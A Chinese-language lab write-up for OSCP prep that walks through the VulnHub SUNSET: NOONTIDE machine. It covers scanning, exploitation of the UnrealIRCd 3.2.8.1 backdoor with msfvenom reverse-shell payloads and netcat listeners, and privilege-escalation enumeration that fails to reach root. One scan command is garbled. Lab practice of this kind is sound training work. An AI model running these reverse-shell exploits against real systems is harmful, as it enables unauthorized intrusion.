靶场实战(14):OSCP备考之VulnHub SUNSET NOONTIDE
1、资产发现
1.1、主机发现
本次靶场SUNSET: NOONTIDE[1]指定IP,不涉及主机发现过程。
1.2、服务发现
使用命令sudo -u root 172.16.33.78 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 | 提供的服务 | 使用的组件 | 组件的版本 |
|---|---|---|---|
6667/tcp | irc | UnrealIRCd | ? |
6697/tcp | irc | UnrealIRCd | ? |
8067/tcp | irc | UnrealIRCd | ? |
- | os | ? | ? |
2、漏洞发现(获取权限)
2.1、irc服务
0x01
主机只使用UnrealIRCd组件提供irc服务,看来要么从这突破,要么放弃。使用命令searchsploit UnrealIRCd,发现3.2.8.1版本的UnrealIRCd组件存在RCE漏洞。
查看Metasploitable2系列练习-漏洞利用之UnrealIRCd[2],得知可以使用hexchat查看UnrealIRCd组件的版本。使用命令sudo apt-get install -y hexchat安装hexchat,使用命令hexchat 172.16.33.78连接irc服务,发现UnrealIRCd组件的版本刚好就是存在RCE漏洞的3.2.8.1。
0x02
使用命令searchsploit -m 13853将EXP拷贝到当前目录。
使用命令msfvenom -p cmd/unix/reverse_perl LHOST=10.8.0.110 LPORT=4444 -f raw创建perl环境的Payload。
使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。
使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 1利用RCE漏洞发起反弹shell,均未获得反弹shell,难道目标机器上没有perl环境?
0x03
使用命令msfvenom -p cmd/unix/reverse_bash LHOST=10.8.0.110 LPORT=4444 -f raw创建bash环境的Payload。
使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。
使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 2利用RCE漏洞发起反弹shell,均未获得反弹shell,难道是EXP不行?
0x04
网上找到EXPRanger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py[3],使用命令vim exploit.py修改本地监听的IP和端口后,使用命令python3 exploit.py -payload <脚本语言> <目标IP> <目标端口>构造命令进行利用,最终使用python3 exploit.py -payload bash 172.16.33.78 6697成功获得反弹shell。
0x05
网上找到EXPgeek-repo/UnrealIRCd-3.2.8.1/poc.py[4],使用命令vim poc.py修改源目IP端口后,构造命令python2 poc.py进行利用,最终成功获得server用户的反弹shell。
3、提升权限
首先使用命令which python和which python3发现有Python3环境,然后使用python3 -c 'import pty; pty.spawn("/bin/bash")'获得交换式shell。
3.1、server用户
3.1.1、sudo
使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现不存在sudo命令。使用命令which sudo确认确实不存在。
3.1.2、suid
使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现还挺多。逐个在GTFOBins[5]查询是否可用于提权,发现都不行。
3.1.3、cron
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,发现没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。
使用命令find /etc/*cron* -type f -ls查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt和grep '\*' /tmp/cron.txt查看定时任务内容,未发现有引用当前用户具有read和write权限的命令或脚本。
使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null查看other用户具有read和write权限的命令或脚本,发现有一些,但未发现有可能被定时任务引用的迹象。
3.1.4、内核提权
使用命令uname -r获取系统内核版本4.19.0,使用命令cat /etc/*release获取系统发行版本Debian Linux 10。
使用命令searchsploit 4. Debian Linux 10,未发现存在本地提权漏洞。
3.1.5、信息收集
使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录下的文件,无收获。使用命令find /home/ ! -path "/home/server/irc/*" -type f -ls 2>/dev/null查看普通用户目录下的文件,无收获。使用命令find /tmp/ -type f -ls 2>/dev/null查看临时目录下的文件,无收获。
查看irc服务的配置文件和日志文件,最终在/home/server/irc/Unreal3.2/ircd.log中发现连接记录Connect - root!root@192.168.100.139,疑似获得账户密码root/root,不过使用命令su root切换到root账户时却报错,看来密码被改过了。但是查看WriteUp,确实又是使用账户密码root/root获得提权的,看来这靶机有问题呀。
3.1.6、使用工具
靶机使用命令nc -nvlp 4444 > /tmp/linpeas.sh接收文件,本地使用命令nc -nv 172.16.33.78 4444 < linpeas.sh发送文件后使用命令Ctrl+C关闭连接,靶机使用命令chmod +x /tmp/linpeas.sh赋予脚本执行权限后使用命令/tmp/linpeas.sh执行脚本。逐个查看脚本报告,未发现可以提权的漏洞,提权失败。
参考资料
[1]
SUNSET: NOONTIDE: ,531/
[2]
Metasploitable2系列练习-漏洞利用之UnrealIRCd: /
[3]
Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py: .2.8.1-Backdoor/blob/master/exploit.py
[4]
geek-repo/UnrealIRCd-3.2.8.1/poc.py: .2.8.1
[5]
GTFOBins:
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。原始发表:2024-01-12,如有侵权请联系 cloudcommunity@tencent 删除定时任务服务脚本漏洞权限

发布评论